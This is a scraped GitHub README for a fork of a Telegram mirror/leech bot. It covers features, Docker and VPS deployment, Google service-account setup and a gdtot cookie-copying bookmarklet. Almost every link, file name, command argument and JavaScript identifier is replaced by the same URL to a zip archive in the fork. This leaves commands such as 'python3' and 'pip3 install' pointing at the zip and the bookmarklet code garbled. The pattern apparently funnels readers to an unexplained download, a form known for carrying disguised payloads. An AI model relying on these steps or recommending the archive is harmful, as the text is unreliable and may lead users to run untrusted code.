Skip to content

reezqi41/mirror-leech-telegram-bot

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

131 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

This is a Telegram Bot written in Python for mirroring files on the Internet to your Google Drive or Telegram. Based on python-aria-mirror-bot

Features:

By Anas

  • qBittorrent
  • Select files from Torrent before downloading using qbittorrent
  • Leech (splitting, thumbnail for each user, setting as document or as media for each user)
  • Size limiting for Torrent/Direct, Zip/Unzip, Mega and Clone
  • Stop duplicates for all tasks except yt-dlp tasks
  • Zip/Unzip G-Drive links
  • Counting files/folders from Google Drive link
  • View Link button, extra button to open file index link in broswer instead of direct download
  • Status Pages for unlimited tasks
  • Clone status
  • Search in multiple Drive folder/TeamDrive
  • Recursive Search (only with root or TeamDrive ID, folder ids will be listed with non-recursive method)
  • Multi-Search by https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip if exists
  • Extract rar, zip and 7z splits with or without password
  • Zip file/folder with or without password
  • Use https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip if file not found with Service Account for all Gdrive functions
  • Random Service Account at startup
  • Mirror/Leech/Watch/Clone/Count/Del by reply
  • YT-DLP quality buttons
  • Search for torrents with Torrent Search API or with variable plugins using qBittorrent search engine
  • Docker image support for linux/amd64, linux/arm64, linux/arm/v7, linux/arm/v6 (Note: Use anasty17/mltb-oracle:latest for oracle or if u faced problem with arm64 docker run)
  • Update bot at startup and with restart command using UPSTREAM_REPO
  • Clone/Zip/Unzip/Count from gdtot links (main script from Yusuf) and delete first cloned file from main drive or TeamDrive
  • Qbittorrent seed until reaching specific ratio or time
  • Many bugs have been fixed

From Other Repositories

How to deploy?

Prerequisites

  • Tutorial Video from A to Z:

1. Installing requirements

  • Clone this repo:
git clone https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip mirrorbot/ && cd mirrorbot
  • For Debian based distros
sudo apt install python3

Install Docker by following the official Docker docs or by commands below.

sudo apt install snapd
sudo snap install docker
  • For Arch and it's derivatives:
sudo pacman -S docker python
  • Install dependencies for running setup scripts:
pip3 install -r https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip

2. Setting up config file

cp https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip
  • Remove the first line saying:
_____REMOVE_THIS_LINE_____=True

Fill up rest of the fields. Meaning of each field is discussed below:

1. Required Fields

Click Here For More Details

2. Optional Fields

Click Here For More Details

Three buttons are already added including Drive Link, Index Link, and View Link, you can add extra buttons, if you don't know what are the below entries, simply leave them empty.

  • BUTTON_FOUR_NAME:
  • BUTTON_FOUR_URL:
  • BUTTON_FIVE_NAME:
  • BUTTON_FIVE_URL:
  • BUTTON_SIX_NAME:
  • BUTTON_SIX_URL:

pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip

Deploying on VPS

IMPORTANT NOTES:

  1. You must set SERVER_PORT variable to 80 or any other port you want to use.
  2. To clear the container (this will not affect on the image):
sudo docker container prune
  1. To delete the images:
sudo docker image prune -a
  1. Use anasty17/mltb-oracle:latest for oracle or if u faced problem with arm64 docker run.
    • Tutorial Video for Deploying on Oracle VPS:
      • Thanks to Wiszky
      • No need to use sudo su, you can also use sudo before each cmd!


Deploying on VPS Using Docker

  • Start Docker daemon (skip if already running):
sudo dockerd
  • Note: If not started or not starting, run the command below then try to start.
sudo apt install https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip
  • Build Docker image:
sudo docker build . -t mirror-bot
  • Run the image:
sudo docker run -p 80:80 mirror-bot
  • To stop the image:
sudo docker ps
sudo docker stop id

Deploying on VPS Using docker-compose

NOTE: If you want to use port other than 80, change it in https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip also.

sudo apt install docker-compose
  • Build and run Docker image:
sudo docker-compose up
sudo docker-compose up --build
  • or
sudo docker-compose build
sudo docker-compose up
  • To stop the image:
sudo docker-compose stop
  • To run the image:
sudo docker-compose start
  • Tutorial video from Tortoolkit repo for docker-compose and checking ports


Deploying on Heroku


Extras

Bot commands to be set in @BotFather

mirror - Mirror
zipmirror - Mirror and upload as zip
unzipmirror - Mirror and extract files
qbmirror - Mirror torrent using qBittorrent
qbzipmirror - Mirror torrent and upload as zip using qb
qbunzipmirror - Mirror torrent and extract files using qb
leech - Leech
zipleech - Leech and upload as zip
unzipleech - Leech and extract files
qbleech - Leech torrent using qBittorrent
qbzipleech - Leech torrent and upload as zip using qb
qbunzipleech - Leech torrent and extract using qb
clone - Copy file/folder to Drive
count - Count file/folder of Drive
watch - Mirror yt-dlp supported link
zipwatch - Mirror yt-dlp supported link as zip
leechwatch - Leech through yt-dlp supported link
leechzipwatch - Leech yt-dlp support link as zip
leechset - Leech settings
setthumb - Set thumbnail
status - Get Mirror Status message
list - Search files in Drive
search - Search for torrents with API
cancel - Cancel a task
cancelall - Cancel all tasks
del - Delete file/folder from Drive
log - Get the Bot Log
shell - Run commands in Shell
restart - Restart the Bot
stats - Bot Usage Stats
ping - Ping the Bot
help - All cmds with description

Using Service Accounts for uploading to avoid user rate limit

For Service Account to work, you must set USE_SERVICE_ACCOUNTS = "True" in config file or environment variables. NOTE: Using Service Accounts is only recommended while uploading to a Team Drive.

1. Generate Service Accounts. What is Service Account?

Let us create only the Service Accounts that we need.

Warning: Abuse of this feature is not the aim of this project and we do NOT recommend that you make a lot of projects, just one project and 100 SAs allow you plenty of use, its also possible that over abuse might get your projects banned by Google.

NOTE: If you have created SAs in past from this script, you can also just re download the keys by running:

python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip --download-keys project_id

NOTE: 1 Service Account can upload/copy around 750 GB a day, 1 project can make 100 Service Accounts so you can upload 75 TB a day or clone 2 TB from each file creator (uploader email).

Two methods to create service accounts

Choose one of these methods

1. Create Service Accounts in existed Project (Recommended Method)
  • List your projects ids
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip --list-projects
  • Enable services automatically by this command
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip --enable-services $PROJECTID
  • Create Sevice Accounts to current project
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip --create-sas $PROJECTID
  • Download Sevice Accounts as accounts folder
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip --download-keys $PROJECTID
2. Create Service Accounts in New Project
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip --quick-setup 1 --new-only

A folder named accounts will be created which will contain keys for the Service Accounts.

2. Add Service Accounts

Two methods to add service accounts

Choose one of these methods

1. Add Them To Google Group then to Team Drive (Recommended)
  • Mount accounts folder
cd accounts
$emails = Get-ChildItem .\**.json |Get-Content -Raw |ConvertFrom-Json |Select -ExpandProperty client_email >>https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip
  • For Linux / MacOs
grep -oPh '"client_email": "\K[^"]+' *.json > https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip
  • Unmount acounts folder
cd ..

Then add emails from https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip to Google Group, after that add this Google Group to your Shared Drive and promote it to manager and delete https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip file from accounts folder

2. Add Them To Team Drive Directly
  • Run:
python3 https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip -d SharedTeamDriveSrcID

Generate Database

1. Using ElephantSQL

2. Using Heroku PostgreSQL


Multi Search IDs

To use list from multi TD/folder. Run https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip in your terminal and follow it. It will generate drive_folder file or u can simply create drive_folder file in working directory and fill it, check below format:

MyTdName folderID/tdID IndexLink(if available)
MyTdName2 folderID/tdID IndexLink(if available)

Yt-dlp and Aria2c Authentication Using .netrc File

For using your premium accounts in yt-dlp or for protected Index Links, create .netrc file according to following format:

Note: Create .netrc and not netrc, this file will be hidden, so view hidden files to edit it after creation.

Format:

machine host login username password my_password

Example:

machine instagram login https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip password mypassword

Instagram Note: You must login even if you want to download public posts and after first try you must confirm that this was you logged in from different ip(you can confirm from phone app).

Youtube Note: For youtube authentication use https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip file.

For Index Link with only password without username, even http auth will not work, so this is the solution.

machine https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip password index_password

Where host is the name of extractor (eg. instagram, Twitch). Multiple accounts of different hosts can be added each separated by a new line.


Gdtot Cookies

To Clone or Leech gdtot link follow these steps:

  1. Login/Register to gdtot.
  2. Copy this script and paste it in browser address bar.
    • Note: After pasting it check at the beginning of the script in broswer address bar if javascript: exists or not, if not so write it as shown below.
    javascript:(function () {
      const input = https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip('input');
      https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip = https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip({url : https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip, cookie : https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip});
      https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip(input);
      https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip();
      https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip();
      var result = https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip('copy');
      https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip(input);
      if(result)
        alert('Cookie copied to clipboard');
      else
        prompt('Failed to copy cookie. Manually copy below cookie\n\n', https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip);
    })();
    
    • After pressing enter your browser will prompt a alert.
  3. Now you'll get this type of data in your clipboard
    {"url":"https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip","cookie":"PHPSESSID=k2xxxxxxxxxxxxxxxxxxxxj63o; crypt=NGxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxWdSVT0%3D"}
    
    
  4. From this you have to paste value of PHPSESSID and crypt in https://raw.githubusercontent.com/reezqi41/mirror-leech-telegram-bot/master/bot/helper/mirror_utils/mirror-telegram-bot-leech-v1.9.zip file.

About

Aria/qBittorrent Telegram mirror/leech bot

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages

  • Python 94.1%
  • Shell 5.7%
  • Other 0.2%